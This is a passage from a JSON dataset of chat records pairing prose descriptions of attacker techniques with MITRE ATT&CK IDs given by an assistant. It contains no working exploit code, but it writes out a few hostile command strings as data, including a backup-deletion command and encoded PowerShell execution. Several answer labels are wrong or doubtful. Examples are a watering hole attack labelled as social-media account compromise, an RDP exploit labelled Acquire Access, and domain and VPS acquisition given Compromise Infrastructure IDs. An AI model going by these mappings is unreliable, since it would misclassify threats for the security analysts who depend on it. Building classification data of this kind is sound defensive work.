                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit a setuid helper binary vulnerable to command injection, allowing them to run commands as root."
            },
            {
                "role": "assistant",
                "content": "T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages the XPC service interface to gain elevated privileges, communicating with the launchd daemon to run commands silently."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder examines public security advisories and vendor bulletins for unpatched weaknesses in the target's infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker discovers a vulnerable setuid root binary on the system and executes it to gain root privileges without authentication."
            },
            {
                "role": "assistant",
                "content": "T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware calls the IOCTL_STORAGE_QUERY_PROPERTY to retrieve driver information for storage devices."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors create a domain account with the same name as a legitimate user to blend in."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware updates the domain GPO to add a new user to the Domain Administrators group."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The red team leverages a compromised Windows host to replace the Remote Desktop Services DLL (rdpinit.dll) with a custom module that establishes persistence."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a tool to hijack an existing Remote Desktop Protocol connection, allowing them to take control of the user's session without re-authentication."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses a privilege escalation exploit in the Windows Task Scheduler to execute tasks without triggering alerts."
            },
            {
                "role": "assistant",
                "content": "T1211 - Exploitation for Defense Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker hijacks an existing thread in a legitimate process by calling OpenThread, SetThreadContext, and ResumeThread to execute injected shellcode."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a rootkit to tamper with audit logs, ensuring that malicious activities are not recorded."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor conducts lateral movement by authenticating to remote systems using a compromised domain user."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker reads the /proc/[pid]/status file to confirm a process is running as SYSTEM before dumping its credential data."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious HTML is injected into a legitimate news website’s comment section, causing victims to download a payload."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code installs a .service file that starts a backdoor listener on port 4444."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining admin rights on a domain controller, the intruder dumps the KRBTGT hash and uses it to produce Kerberos tickets for any user account."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program reads all files in the user's home directory and sends them to a remote listener."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker acquired a custom-built keylogger from a hacker forum before deploying it on compromised workstations."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performed a drive‑by download attack that installed a web shell, which was then used to deface the site."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the Windows API CreateRemoteThread to inject code into a running application, then resumes the thread to execute the payload."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise a cloud provider's Function-as-a-Service (FaaS) platform by injecting backdoors into serverless workloads."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leveraged a cross‑site scripting (XSS) flaw in the web portal to execute code that harvested and transmitted user credentials."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a custom packer that encrypts the payload and includes a decryption stub that resolves API calls on the fly."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs DLL injection to load a malicious library into a target process and manipulate its runtime data."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors register a new domain with a typo of the victim's name and use it for social engineering campaigns."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses the 'wmic useraccount get name' command to enumerate user accounts on Windows."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses a custom Python utility to unpack and deobfuscate its payloads hidden within embedded resources."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary manipulates Azure AD Connect synchronization to alter user attributes, allowing forged credentials to be used for logging into cloud services in a hybrid environment."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool issues a WMI query \"SELECT * FROM Win32_Product\" to list all MSI-installed software."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor embeds anti‑debugging code that compares checksums of memory regions to detect tampering by a debugger."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs a looped exploit that triggers excessive logging on an endpoint, filling disk space and halting the service."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware overwrites the PAM configuration on a Linux server to accept any password for root login, effectively nullifying authentication."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages the Linux command 'id' to discover the effective user ID on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses PowerShell's Get-Service cmdlet to discover running services for potential abuse."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a paid legal case database to locate court documents that expose confidential contract terms of the target firm."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A dropped .vbs file runs in Windows Script Host, enumerating running processes and sending the list to the C2."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using captured credentials, the threat actor performs pass-the-hash attacks to move laterally across the domain."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing NTFS transaction APIs, the attacker injects malicious code into a newly created process without writing the payload to disk, achieving stealthy execution via Process Doppelgänging."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employs the 'regsvr32.exe' utility to load and run a malicious .dll through registration-free COM."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor initiated a Windows 'wbadmin delete systemstatebackup' command to remove system backups."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker enumerates usernames without requiring pre‑authentication and extracts the AS‑REP data from the domain controller to offline crack the Kerberos ticket hashes."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary accesses a compromised Exchange server via RPC to enumerate mailboxes and download messages."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑dumping tool accesses the Security Account Manager to retrieve local user password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign sends a malicious DLL disguised as a legitimate driver, exploiting a Windows kernel vulnerability for client execution."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT actors hide data exfiltration in ICMP Type 8 (echo request) and Type 0 (echo reply) packets to evade network defenses."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary manipulates the in‑memory cache of a web server to serve malicious content to users."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages Outlook's rule engine to automatically run a batch file that modifies system settings each time Outlook is launched."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group hides exfiltration by embedding AES‑encrypted payloads in outbound FTP data streams, unrelated to any C2 commands."
            },
            {
                "role": "assistant",
                "content": "T1048.001 - Exfiltration Over Alternative Protocol: Exfiltration Over Symmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Content injection occurs when an attacker modifies a legitimate RSS feed to include malicious JavaScript payloads."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors performed credential dumping and then used those credentials to authenticate via RDP for privileged actions."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware variant initiates a high-frequency timer interrupt flooding, which overwhelms the kernel's interrupt handling and leads to an OS-level denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499.001 - Endpoint Denial of Service: OS Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The tool hijacks a privileged token and spawns a new process under that token."
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Access Token Manipulation: Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code performs DNS NXDOMAIN checks on a set of algorithmically generated domain names to identify active C2 nodes."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses the 'powershell -enc' option to run a base64‑encoded command that installs a keylogger."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use compromised FTP credentials to upload defaced pages to a public site."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors acquire a VPS, configure a reverse shell listener, and use it to receive inbound connections from compromised user machines."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An infection chain spawns cmd.exe with the /c flag to execute a downloaded batch file that installs ransomware."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers distribute a shortened URL through a Twitter DM that points to a malicious PowerShell one‑liner executed upon click."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages SSH tunneling to forward data from compromised hosts to external servers, bypassing outbound firewall rules."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary reads the /var/run/utmp file to enumerate who is currently logged into the Unix system."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised user account, the adversary updates the Outlook Home Page to point to a malicious web service that exfiltrates data."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary crafts a fake software update pop-up that convinces the user to download and run a disguised malicious installer."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker tries to maintain access to a compromised system by using a backdoor, what is the relevant MITRE ATT&CK ID and Name?"
            },
            {
                "role": "assistant",
                "content": "T1547 - Boot or Logon Autostart Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a tool like ettercap, the threat actor performs ARP spoofing to become the man-in-the-middle for all communications between the victim and the gateway."
            },
            {
                "role": "assistant",
                "content": "T1557.002 - Adversary-in-the-Middle: ARP Cache Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets the network interface to promiscuous mode and records traffic to locate authentication details."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder conducts keyword searches on public version‑control platforms for tokens and access keys."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses a watering hole attack to compromise a website frequently visited by their target."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a dormant local account that was never disabled to infiltrate the environment and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes adjusting the 'System unattended sleep timeout' to 0 minutes, effectively disabling unattended sleep."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers stage data locally by creating a staging directory in %APPDATA% and placing encrypted archives there."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a snapshot of a compromised Azure VM to retain a pristine copy for later use."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant installs a backdoored password filter that returns true for any password attempt, effectively disabling authentication."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor reads the /proc/modules file on Linux to discover loaded kernel modules."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs OSINT by searching the victim’s registered domains on WHOIS and Shodan to map out their online infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a publicly available exploit for Remote Desktop Protocol (RDP) CVE‑2022‑XXXXX, the attacker gains remote code execution and establishes a persistent RDP session."
            },
            {
                "role": "assistant",
                "content": "T1650 - Acquire Access"
            }
        ]
    },
